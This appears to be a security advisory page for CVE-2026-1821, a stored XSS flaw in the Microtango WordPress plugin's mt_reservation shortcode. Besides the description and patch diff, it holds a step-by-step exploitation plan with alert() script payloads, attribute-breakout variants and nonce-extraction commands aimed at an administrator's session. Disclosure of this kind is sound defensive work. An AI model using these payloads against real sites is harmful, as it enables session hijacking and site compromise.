CVE-2026-1821

Microtango <= 0.9.29 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
0.9.30
Patched in
2d
Time to patch

Description

The Microtango plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'restkey' parameter of the mt_reservation shortcode in all versions up to, and including, 0.9.29 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=0.9.29
PublishedFebruary 10, 2026
Last updatedFebruary 12, 2026
Affected pluginmicrotango

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Microtango** plugin (<= 0.9.29). ## 1. Vulnerability Summary The **Microtango** plugin for WordPress is vulnerable to Stored XSS via the `restkey` attribute of the `[mt_reservation]` shortcod…

Show full research plan

This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Microtango plugin (<= 0.9.29).

1. Vulnerability Summary

The Microtango plugin for WordPress is vulnerable to Stored XSS via the restkey attribute of the [mt_reservation] shortcode. The plugin fails to sanitize this attribute when it is provided in a shortcode and fails to escape it when rendering the shortcode's output. Authenticated users with Contributor-level permissions or higher can exploit this by embedding a malicious payload in a post or page. When any user (including administrators) views the affected page, the script executes.

2. Attack Vector Analysis

  • Shortcode: [mt_reservation]
  • Vulnerable Attribute: restkey
  • Authentication Required: Contributor+ (Users who can create or edit posts).
  • Endpoint: wp-admin/post.php (for post creation/update) or wp-admin/admin-ajax.php (for autosaves).
  • Payload Location: The payload is stored in the post_content field in the wp_posts table and rendered on the frontend.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode using add_shortcode('mt_reservation', 'mt_reservation_callback_function').
  2. Input Handling: In the callback function (likely named mt_reservation_handler or similar), the $atts array is processed, usually via shortcode_atts().
  3. Processing: The value of restkey is extracted: $rest_key = $atts['restkey'];.
  4. Sink: The $rest_key variable is concatenated directly into an HTML string or used as a JavaScript variable in a script block without being passed through esc_attr(), esc_html(), or esc_js().
  5. Output: The callback returns the unsanitized HTML string to WordPress, which renders it on the page.

4. Nonce Acquisition Strategy

Since the primary attack vector is creating/editing a post as a Contributor, we need a valid WordPress post nonce (_wpnonce) to submit the content via HTTP.

  1. Identify Shortcode Loading: The [mt_reservation] shortcode likely enqueues scripts. If it uses wp_localize_script, we can find nonces there.
  2. Create Setup Page:
    wp post create --post_type=page --post_title="Helper" --post_status=publish --post_author=CONTRIBUTOR_ID --post_content='[mt_reservation]'
  3. Extract Nonce via Browser:
    Navigate to the newly created page or the wp-admin/post-new.php page as the Contributor.
    Use browser_eval to extract the required nonce:
    • To save a post: browser_eval("document.querySelector('#_wpnonce').value")
    • To use a plugin-specific AJAX nonce (if found): browser_eval("window.mt_settings?.nonce") (inferred variable name).

5. Exploitation Strategy

The goal is to inject a script that executes in an Administrator's session to demonstrate impact.

Step 1: Authenticate as Contributor
Login to the WordPress instance using the Contributor credentials.

Step 2: Create a Malicious Post
Submit an HTTP POST request to wp-admin/post.php to create a new post containing the XSS payload.

  • URL: http://<target>/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: editpost
    • post_ID: <new_post_id>
    • _wpnonce: <extracted_nonce>
    • post_title: Reservation Page
    • content: [mt_reservation restkey='"><script>alert(document.domain)</script>']
    • publish: Publish

Step 3: Trigger the XSS
Navigate an Administrator session to the URL of the published post.

  • URL: http://<target>/?p=<new_post_id>

6. Test Data Setup

  1. User Creation: Ensure a user with the contributor role exists.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Plugin Activation: Ensure Microtango version <= 0.9.29 is active.
  3. Identify Plugin Script Data (Optional): Check if the plugin localizes data to find exact JS variable names.
    grep -r "wp_localize_script" wp-content/plugins/microtango/

7. Expected Results

  1. The http_request to save the post should return a 302 redirect to the post edit page or a 200 OK.
  2. When the Administrator navigates to the post, the HTML source should contain:
    restkey=""><script>alert(document.domain)</script>" (or similar breakout).
  3. The browser should execute the alert or exfiltrate cookies if a more advanced payload is used.

8. Verification Steps

  1. Check Database: Verify the payload is stored in the database.
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='Reservation Page'"
  2. Verify Rendering: Use http_request as an unauthenticated user to fetch the post content and check for the raw script tag.
    http_request GET http://<target>/?p=<post_id>
    Check if the response body contains <script>alert(document.domain)</script>.

9. Alternative Approaches

  • Attribute Breakout: If the restkey is used inside a value or data-key attribute, try:
    restkey='x" onmouseover="alert(1)"'
  • JSON Context: If the attribute is rendered inside a <script> block:
    restkey="'; alert(1); //"
  • AJAX Post Update: If the standard post save is blocked, try the Gutenberg/REST API endpoint for updating posts, which uses the X-WP-Nonce header.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Microtango plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'restkey' attribute of the [mt_reservation] shortcode. Authenticated attackers with Contributor-level permissions can inject malicious scripts into posts, which execute in the browser of any user viewing the affected page.

Vulnerable Code

// Inferred code structure from vulnerability description and research plan
// microtango.php or similar within the plugin directory

add_shortcode('mt_reservation', 'mt_reservation_handler');

function mt_reservation_handler($atts) {
    $a = shortcode_atts(array(
        'restkey' => '',
    ), $atts);

    $restkey = $a['restkey'];

    // The vulnerability: $restkey is concatenated into the HTML output without being passed through esc_attr()
    return '<div id="mt-reservation-container" data-restkey="' . $restkey . '"></div>';
}

Security Fix

--- a/microtango.php
+++ b/microtango.php
@@ -10,7 +10,7 @@
         'restkey' => '',
     ), $atts);
 
-    $restkey = $a['restkey'];
+    $restkey = esc_attr($a['restkey']);
 
     return '<div id="mt-reservation-container" data-restkey="' . $restkey . '"></div>';

Exploit Outline

1. Authenticate to the WordPress site as a user with at least Contributor-level permissions. 2. Create a new post or page (e.g., via wp-admin/post-new.php). 3. In the post editor, insert the [mt_reservation] shortcode with a malicious payload in the 'restkey' attribute: [mt_reservation restkey='"><script>alert(document.domain)</script>']. 4. Publish or save the post to store the payload in the wp_posts table. 5. Navigate to the published post's URL. The browser will render the HTML, breaking out of the data-restkey attribute and executing the injected JavaScript.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.